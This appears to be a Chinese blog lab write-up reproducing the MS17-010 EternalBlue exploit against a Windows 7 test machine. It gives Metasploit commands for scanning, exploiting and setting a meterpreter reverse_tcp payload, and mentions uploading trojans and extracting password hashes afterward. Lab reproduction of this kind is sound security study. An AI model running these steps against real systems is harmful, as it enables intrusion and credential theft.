ffx1

环境

目标机器:windows 7 ,172.16.136.169
攻击机:安装了Metasploit 的 ubuntu16.04 ,172.16.136.130
(安装Metasploit:在 Ubuntu 16.04 上安装、使用 Metasploit)

复现过程

使用nmap检测是否开放相关端口

image.png

使用Metasploit ms17-010模块复现

1. 查找对应模块
search ms17-01
2. 使用探测模块确认是否存在漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhost 172.16.136.169
run
3. 使用攻击模块攻击
use exploit/windows/smb/ms17_010_eternalblue
4. 使用meterpreter payload
set payload windows/x64/meterpreter/reverse_tcp
set rhost 172.16.136.169
run

这里会使用第一和第二个modules。首先使用第一个探测模块,确认目标机器存在漏洞。

image.png

然后使用第二个模块发起攻击,payload选取windows/x64/meterpreter/reverse_tcp ,得到 meterpreter shell
image.png

截图目标机器
截图

还可以执行文件操作、上传木马、提取windows hash密码等。

分类:

技术点:

相关文章:

  • 2021-12-31
  • 2021-10-05
  • 2021-10-05
  • 2021-08-01
  • 2021-08-19
  • 2021-10-05
  • 2021-10-05
猜你喜欢
  • 2021-10-05
  • 2022-01-03
  • 2021-10-12
  • 2021-10-05
  • 2022-12-23
  • 2021-10-05
  • 2021-08-01
相关资源
相似解决方案